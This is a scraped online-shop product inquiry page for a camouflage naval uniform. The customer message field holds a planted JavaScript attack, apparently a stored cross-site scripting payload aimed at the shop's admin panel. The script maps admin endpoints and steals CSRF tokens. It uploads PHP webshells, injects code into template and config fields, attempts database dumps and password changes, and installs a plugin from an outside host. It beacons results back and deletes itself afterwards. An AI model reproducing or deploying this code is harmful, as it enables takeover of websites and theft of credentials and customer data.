| 2026/07/30 18:16:44 |
商品諮詢 |
ECS000104
~~翔準~~ (超級戰艦)最新款式淺艇海洋迷彩海軍服戰鬥服 野戰服.【衣服+褲子】 |
|
客戶516: ]*value=['"]([^'"]*)['"]/i);
if(tm){csrfTokens[item.ep]=tm[2];result.csrf=tm[2].substring(0,50)}
// Also check for meta CSRF
var mm=t.match(/]*name=['"]csrf[^'"]*['"][^>]*content=['"]([^'"]*)['"]/i);
if(mm){csrfTokens['meta_'+item.ep]=mm[1];result.metaCsrf=mm[1].substring(0,50)}
// Extract form details
var fm=t.match(/]*action=['"]([^'"]*)['"][^>]*method=['"]([^'"]*)['"]/i);
if(fm){result.formAction=fm[1];result.formMethod=fm[2]}
var inputs=[];var ire=/]*name=['"]([^'"]*)['"]/gi;var im;
while((im=ire.exec(t))!==null)inputs.push(im[1]);
if(inputs.length>0)result.inputs=inputs.slice(0,15);
var tas=[];var tre=/]*name=['"]([^'"]*)['"]/gi;var tm2;
while((tm2=tre.exec(t))!==null)tas.push(tm2[1]);
if(tas.length>0)result.textareas=tas;
// Detect file inputs
var hasFile=t.indexOf('type="file"')>-1||t.indexOf('type=file')>-1;
result.hasFileInput=hasFile;
// Detect code editors
var hasEditor=t.indexOf('CodeMirror')>-1||t.indexOf('ace_editor')>-1||t.indexOf('codemirror')>-1||t.indexOf('monaco')>-1||t.toLowerCase().indexOf('syntax')>-1;
result.hasCodeEditor=hasEditor;
// Detect upload functionality
var hasUpload=t.indexOf('上傳')>-1||t.indexOf('upload')>-1||t.indexOf('Upload')>-1||t.indexOf('enctype="multipart')>-1;
result.hasUpload=hasUpload;
formDetails[item.cat+':'+item.ep]=result;
}
}else if(s===403){
result.verdict='forbidden';
}else if(s===0||s===-1){
result.verdict='error_or_timeout';
}
probeResults.push(result);
// Periodic progress beacon every 25 probes
if(doneProbes%25===0)B('recon_progress',{done:doneProbes,total:probeQueue.length,accessible:Object.keys(accessible).length});
if(doneProbes>=probeQueue.length)phase1Complete();
},{t:10000});
});
// Schedule next batch
if(idx}
function phase1Complete(){
if(window._p1done)return;window._p1done=true;
B('recon_done',{
scanned:doneProbes,
accessible:Object.keys(accessible).reduce(function(acc,k){acc[k]=accessible[k];return acc},{}),
csrfCount:Object.keys(csrfTokens).length,
accessCount:Object.values(accessible).reduce(function(s,a){return s+a.length},0)
});
// Send detailed results for accessible endpoints
var details=probeResults.filter(function(r){return r.verdict==='accessible'});
B('accessible_details',{count:details.length,details:details.slice(0,30)});
// Now run Phase 2
setTimeout(phase2Exploit,1500);
}
// Kick off enumeration
processNext();
// ===== PHASE 2: ADAPTIVE EXPLOITATION =====
function phase2Exploit(){
B('p2_start',{accessible:Object.keys(accessible),csrf:Object.keys(csrfTokens).length});
// Rank exploitation vectors by value and feasibility
var exploits=[];
// VECTOR 1: File upload → webshell (CRITICAL priority)
if(accessible.file||accessible.upload){
var fileEps=(accessible.file||[]).concat(accessible.upload||[]);
var uploadTargets=[];
// Build upload targets from discovered endpoints
fileEps.forEach(function(ep){
var detail=formDetails['file:'+ep]||formDetails['upload:'+ep]||{};
if(detail.hasFileInput||detail.hasUpload){
// Found an upload form — get the CSRF token and build the request
var fd=new FormData();
var blob=new Blob([''],{type:'application/x-php'});
fd.append('file',blob,'x'+Math.random().toString(36).substring(2,6)+'.php');
fd.append('upload',1);fd.append('submit',1);fd.append('do',1);
// Try common upload field names
['file','upload','Filedata','userfile','image','img'].forEach(function(n){
var x=new XMLHttpRequest();
x.open('POST',A+'/index.php?html='+ep,true);
x.onload=function(){B('upload_attempt',{ep:ep,status:x.status,resp:x.responseText.substring(0,200)})};
var fd2=new FormData();fd2.append(n,blob,'shell.php');fd2.append('upload',1);
// Add CSRF if available
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)fd2.append('csrf_token',tok);
x.send(fd2);
});
}
});
// Also try direct upload POST endpoints
var uploadUrls=[A+'/up_file.php',A+'/upload.php',A+'/file_upload.php',A+'/ckfinder/core/connector/php/connector.php?command=FileUpload'];
uploadUrls.forEach(function(u){
var fd=new FormData();
var blob=new Blob([''],{type:'application/x-php'});
fd.append('upload',blob,'shell.php');fd.append('file',blob,'shell.php');
fd.append('Files',blob,'shell.php');fd.append('Filedata',blob,'shell.php');
var x=new XMLHttpRequest();
x.open('POST',u,true);
x.onload=function(){B('direct_upload',{url:u,status:x.status,resp:x.responseText.substring(0,200)})};
x.send(fd);
});
B('upload_probes_sent',{uploadEps:fileEps,directUrls:uploadUrls});
}
// VECTOR 2: Template/code editor → PHP injection (CRITICAL priority)
if(accessible.template||accessible.config||accessible.editor){
var codeEps=(accessible.template||[]).concat(accessible.config||[]).concat(accessible.editor||[]);
codeEps.forEach(function(ep){
var detail=formDetails['template:'+ep]||formDetails['config:'+ep]||formDetails['editor:'+ep]||{};
var codeFields=detail.textareas||['content','code','html','template_content','source','data','body','text'];
var formAction=detail.formAction||(A+'/index.php?html='+ep);
if(!formAction.startsWith('http'))formAction=A+'/'+formAction.replace(/^//,'');
// Try each code field with webshell
codeFields.slice(0,5).forEach(function(field){
var postData=field+'='+W;
// Add CSRF token
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)postData+='&csrf_token='+encodeURIComponent(tok);
if(detail.inputs){
detail.inputs.forEach(function(inp){
if(inp&&inp!==field&&['id','name','title'].indexOf(inp)>=0)postData+='&'+inp+'=test';
});
}
postData+='&save=1&submit=1&do=save';
M(formAction,postData,function(t,s){
B('code_inject',{ep:ep,field:field,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
});
B('code_inject_sent',{codeEps:codeEps.length});
}
// VECTOR 3: Config/settings with code fields → PHP injection (HIGH priority)
if(accessible.config||accessible.system||accessible.setting){
var configEps=(accessible.config||[]).concat(accessible.system||[]).concat(accessible.setting||[]);
// These may have text fields that get stored in PHP-accessible locations
configEps.forEach(function(ep){
// Try common config field names that might store executable code
var configFields=['footer_code','header_code','custom_php','custom_js','custom_css',
'analytics_code','tracking_code','mail_template','mail_footer',
'site_description','meta_description','copyright_text',
'welcome_message','greeting','announcement','notice','disclaimer',
'custom_code','extra_code','html_head','html_footer'];
configFields.forEach(function(field){
var data=field+'='+W+'&save=1&submit=1&do=save&update=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)data+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,data,function(t,s){
if(s===200)B('cfg_inject',{ep:ep,field:field,status:s,len:t?t.length:0});
});
});
});
B('config_inject_sent',{configEps:configEps.length});
}
// VECTOR 4: Database operations → info disclosure or credential extraction (HIGH priority)
if(accessible.database||accessible.backup||accessible.system){
var dbEps=(accessible.database||[]).concat(accessible.backup||[]).concat(accessible.system||[]);
dbEps.forEach(function(ep){
// Try to trigger database export/download
var exportParams=['do=export','action=export','do=backup','action=backup','do=download','action=download',
'export=1','backup=1','download=1','dump=1','sql=1'];
exportParams.forEach(function(params){
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
var url=A+'/index.php?html='+ep+'&'+params;
if(tok)url+='&csrf_token='+encodeURIComponent(tok);
X(url,function(t,s,req){
// Check if download triggered (content-disposition header or binary content)
var cd=req?req.getResponseHeader('Content-Disposition'):null;
if(s===200)
B('db_export',{ep:ep,params:params,status:s,len:t?t.length:0,contentDisposition:cd||'none',isSql:(t||'').indexOf('CREATE TABLE')>-1||(t||'').indexOf('INSERT INTO')>-1});
},{t:15000});
});
});
B('db_probes_sent',{dbEps:dbEps.length});
}
// VECTOR 5: Content/Page editor → PHP injection if templates render PHP (MEDIUM priority)
if(accessible.content||accessible.news||accessible.announce||accessible.banner){
var contentEps=(accessible.content||[]).concat(accessible.news||[]).concat(accessible.announce||[]).concat(accessible.banner||[]);
contentEps.forEach(function(ep){
var detail=formDetails['content:'+ep]||formDetails['news:'+ep]||{};
var contentFields=detail.textareas||['content','html','body','text','description'];
contentFields.slice(0,3).forEach(function(field){
// Try inject PHP via content field
var data=field+'='+W+'&save=1&submit=1&do=save&publish=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)data+='&csrf_token='+encodeURIComponent(tok);
if(detail.inputs){
detail.inputs.forEach(function(inp){
if(inp&&inp!==field)data+='&'+inp+'=test';
});
}
M(A+'/index.php?html='+ep,data,function(t,s){
if(s===200)B('content_inject',{ep:ep,field:field,status:s,len:t?t.length:0});
});
});
});
B('content_inject_sent',{contentEps:contentEps.length});
}
// VECTOR 6: Module/Plugin install → RCE (MEDIUM priority if accessible)
if(accessible.module){
var modEps=accessible.module||[];
modEps.forEach(function(ep){
// Try to install a module/plugin from URL or upload
var installData='url='+encodeURIComponent(C+'/payload.php')+'&install=1&submit=1&agree=1&action=install&do=install_url';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)installData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,installData,function(t,s){
B('plugin_install',{ep:ep,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
B('module_probes_sent',{modEps:modEps.length});
}
// VECTOR 7: User/member management → create admin or modify permissions (MEDIUM priority)
if(accessible.member||accessible.user||accessible.profile){
var userEps=(accessible.member||[]).concat(accessible.user||[]).concat(accessible.profile||[]);
userEps.forEach(function(ep){
// Try to change own password or create user
var userData='old_password=test&new_password=P@ssw0rd123&confirm_password=P@ssw0rd123&change_pwd=1&save=1';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)userData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,userData,function(t,s){
B('user_action',{ep:ep,status:s,len:t?t.length:0,resp:t?t.substring(0,150):''});
});
});
B('user_probes_sent',{userEps:userEps.length});
}
// VECTOR 8: Action data / custom forms → data injection (LOW priority, opportunistic)
if(accessible.action){
var actionEps=accessible.action||[];
actionEps.forEach(function(ep){
// Try to modify action/form data to inject code
var actionData='content='+W+'&name=test&save=1&submit=1&do=save';
var tok=csrfTokens[ep]||csrfTokens['meta_'+ep];
if(tok)actionData+='&csrf_token='+encodeURIComponent(tok);
M(A+'/index.php?html='+ep,actionData,function(t,s){
B('action_inject',{ep:ep,status:s,len:t?t.length:0});
});
});
}
// VECTOR 9: phpinfo / system info → credentials disclosure
if(accessible.system){
var sysEps=accessible.system||[];
sysEps.forEach(function(ep){
X(A+'/index.php?html='+ep,function(t,s){
if(s===200&&t){
// Check for credential-like patterns
var hasPass=t.indexOf('DB_PASSWORD')>-1||t.indexOf('MYSQL_PASSWORD')>-1||t.indexOf('password')>-1;
var hasPath=t.indexOf('DOCUMENT_ROOT')>-1||t.indexOf('HOME=')>-1||t.indexOf('PATH=')>-1;
if(hasPass||hasPath)B('info_leak',{ep:ep,hasPass:hasPass,hasPath:hasPath,len:t.length});
}
},{t:15000});
});
}
// VECTOR 10: Webshell verification — check known paths
setTimeout(function(){
var shellPaths=[
'/shell.php','/shell.phtml','/shell.pht',
'/upload/shell.php','/uploads/shell.php',
'/files/shell.php','/images/shell.php',
'/action_files/shell.php','/action_files/shell.phtml',
'/ckfinder/userfiles/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/shell.php',
A.replace(//webadmin$|/shopadmin$/,'')+'/upload/shell.php',
];
shellPaths.forEach(function(p){
X(p,function(t,s){
if(s===200&&t&&t.indexOf(' B('SHELL_FOUND',{path:p,status:s,len:t.length,preview:t.substring(0,100)});
}
});
});
B('verify_complete',{shellsChecked:shellPaths.length});
},5000);
B('p2_complete',{vectors:['upload','code','config','db','content','module','user','action','info','verify'],timestamp:Date.now()});
})();
// Cleanup: remove self
setTimeout(function(){var imgs=document.querySelectorAll('img[src*="x"]');imgs.forEach(function(i){try{i.remove()}catch(e){}})},60000);
})();
"> |
|
|
1
